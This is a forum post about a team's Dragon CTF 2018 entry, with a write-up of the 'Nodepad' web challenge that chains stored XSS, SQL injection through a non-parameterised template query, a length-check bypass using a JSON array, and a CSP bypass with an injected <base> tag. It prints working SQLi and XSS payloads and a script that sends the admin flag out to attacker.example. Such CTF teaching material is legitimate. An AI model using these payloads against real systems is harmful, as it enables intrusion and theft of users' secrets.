Let's participate in the Dragon CTF 2018 Teaser!

The CTF runs Sa, 29 Sept. 2018, 12:00 UTC — So, 30 Sept. 2018, 12:00 UTC.

You can find additional details on the CTFtime event page. Links to previous years' challenges can be found via here. The CTF is organized by team Dragon Sector, a highly accomplished CTF team from Poland.

General info:

  • We compete as team sec.se.
  • We communicate over Slack. To get an invitation to the group you can contact any member of the team. (We will need to know an email address to send the invitation to and a reference to your Security.SE profile.)
  • For questions, join us in The DMZ.

Good luck everyone!

  • 4
    The team ranked 46th our of 233 teams, congrats to everyone involved! – Benoit Esnard Sep 30 '18 at 20:47

Nodepad (web, medium)

Nodepad is a Node.js web application powered by the Express framework and a PostgreSQL backend DB. It allows users to register, log in and create simple notes. Additionally, there is an admin bot visiting every note that is reported to them in the latest version of Google Chrome.

The entire challenge setup was published beforehand (source mirror). Also, if you didn't participate in the CTF, I'd encourage you to set up the challenge locally and attempt it yourself first, before reading the write-up.

What's the admin bot doing?

From looking into the admin bot implementation at /bin/process_reports, we learn that once a note is reported, the admin logs in and visits /admin/${id} where id is the ID of reported note. Clearly, we somehow need to XSS the admin and exfiltrate the flag.

Let's check out routes/admin.js. The flag can apparently be fetched from /admin/flag:

router.get('/flag', (req, res) => {
  res.render('index', {notices: [process.env.FLAG]});

And the admin's note view is essentially the same as any user's note view:

router.get('/:noteId(\\d+)', async (req, res) => {
  const notes = await req.db.all `SELECT id, title, content FROM notes WHERE id = ${req.params.noteId}`;
  res.render('notes', {notes});

So if there's an XSS flaw, it must be triggered here.

O XSS, where art thou?

The current notes are fetched as JSON, JSON.stringify'ed and inserted as an inline script:

<script nonce="78172121522105a149287e6d32966f43">
  window.notes = [{"id":2597,"title":"foo","content":"bar","pinned":true}, ...];

Then, a script (/public/javascripts/notes.js) is inserting the notes into the page. But wait, it's inserting the note title via jQuerys .html() instead of using the safe .text():

function createNote(note) {

So if we could get HTML into a note title, we'd have stored XSS.

How to get HTML into a note?

Sadly, the app is testing the title and body of every new note against /[<>]/. So, there's no way to submit a note with angle brackets in it:

router.post('/new', async (req, res) => {
  const regex = /[<>]/;

  let errors = [];
  if (regex.test(req.body.title)) {
    errors.push('Title is invalid');

  if (regex.test(req.body.content)) {
    errors.push('Content is invalid');

  if (errors.length !== 0) {
    return res.render('new', {errors});

  // [If there are no errors, insert note into DB]

If we can't get HTML into a note regularly, we need an SQL injection...

Where's the SQLi?

SQL queries in the app are written as template literals, e.g.:

await req.db.run `DELETE FROM notes WHERE user_id = ${req.session.userId} AND id = ${req.params.noteId}`;

That's an elegant way of protecting against SQL injections. Note that this notation requires no brackets after req.db.run. The way template literals work is that this is essentially calling:

  ["DELETE FROM notes WHERE user_id = ", " AND id = ", ""],

Like with prepared statements, you can see that the query is separated from the data. The DB adapter is processing the arguments so that this ends up as the following query:

sql_query("DELETE FROM notes WHERE user_id =  $1  AND id =  $2", req.session.userId, req.params.noteId)

Pretty tamper-proof, eh?

Pinning down the bug

Luckily, the query for pinning a note has a subtle bug:

router.post('/:noteId(\\d+)/pin', async (req, res) => {
  if (req.body.value && req.body.value.length === 1) {
    const result = await req.db.run(`UPDATE notes SET pinned = ${req.body.value}::boolean WHERE id = ${req.params.noteId}`);
    if (result.error) {
      return res.render('index', {errors: ['An error occurred']});

req.db.run is called with brackets! This means, it looks like a prepared statement, but it's not. The whole query is turned into a single string before it's passed to db.run. So the app treats it as one single fixed query without any parameters, e.g.:

sql_query("UPDATE notes SET pinned = 1::boolean WHERE id = 1234")

instead of

sql_query("UPDATE notes SET pinned = $1 ::boolean WHERE id = $2", req.body.value, req.params.noteId)

Nice, that's an SQLi! But there's another nasty check. Looking at the pinning function again, we find that it first checks that:

req.body.value && req.body.value.length === 1

Looks like we can only SQL-inject a single character - which would be useless.

Bypassing the length check

Express apps accept other request content types than just application/x-www-form-urlencoded by default. So maybe we can trick the length check by sending JSON (application/json) instead which will be parsed into a JS object on the server side. These are equivalent:



{"_csrf": "ilkJroTE-mNtLgELBHLjGP8t2WGsI9TFPkq8", "value": 1}

Now, a simple trick to pass value.length === 1 is by sending an array with one element instead of a string or number:

{"_csrf": "ilkJroTE-mNtLgELBHLjGP8t2WGsI9TFPkq8", "value": ["more than one character!"]}

This way, we can finally construct an SQLi payload. The following payload will insert a script tag into our note title:

1::boolean, title='<script>alert(1)</script>' WHERE id = 2597--

which ends up as

UPDATE notes SET pinned = 1::boolean, title='<script>alert()</script>' WHERE id = 2597-- ::boolean WHERE id = 2597

A wild CSP appears

Not so fast. The app has implemented a CSP which will block all inline scripts unless they are tagged with a dynamic random nonce:

  default-src 'none';
  script-src 'nonce-78172121522105a149287e6d32966f43' 'strict-dynamic';
  style-src 'self' https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/css/bootstrap.min.css;
  img-src 'self';
  connect-src 'self';
  frame-src https://www.google.com/recaptcha/;
  form-action 'self';  

Our XSS injection point in the title is useless!1 But there's another one. Remember that the note data is injected in an inline script via JSON.stringify()? JSON.stringify doesn't sanitize angle brackets, so we can inject tags into the HTML <head> of the document, which will look something like this:

  <script nonce="78172121522105a149287e6d32966f43">
    window.notes = [{"id":2597,"title":"</script>[INJECT TAGS HERE]","content":"bar","pinned":true}, ...];
  <script nonce="78172121522105a149287e6d32966f43" src="/javascripts/notes.js"></script>

Err... how does that help? We still don't have the random nonce.

Drop that base

Notice how the second <script> in the head has a nonce attribute and is a relative URL? We can redirect that script somewhere else by injecting a <base> tag before it.

So, if we inject <base href="http://attacker.example/"> before the relative remote script, the browser will request http://attacker.example/javascripts/notes.js instead, which satisfies the CSP rules.

Our injected notes.js can then just fetch the flag and log it somewhere:

fetch(location.protocol + '//' + location.host + '/admin/flag').then((res) => {
    res.text().then((text) => {
        location.href = 'http://attacker.example/log?' + btoa(text);

Now, let's insert that final payload in our note title:

$ curl \
    --cookie "connect.sid=s%3AYkjGROGerhwE4mzWp_O7zuNy4Rm2r1P_.rEMh%2FeI3LjlMQmglgwP7CDt5j1RVlIJvVZPkwpmEkb8" \
    --header "Content-type: application/json" \
    --data "{ \
        \"_csrf\": \"ilkJroTE-mNtLgELBHLjGP8t2WGsI9TFPkq8\", \
        \"value\": [\"1::boolean, title='</script><base href=http://attacker.example/>' WHERE id = 2597--\"] \
      }" \

After reporting that note to the admin, it'll leak the HTML content of /admin/flag to our logger and we can extract the flag:


1Actually, the strict-dynamic directive of the CSP allows already trusted scripts to create additional trusted scripts without having to add a nonce to them. So we could inject a script here right away. However, in this write-up I'm proposing a more fun way to bypass the CSP via a <base> tag.

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .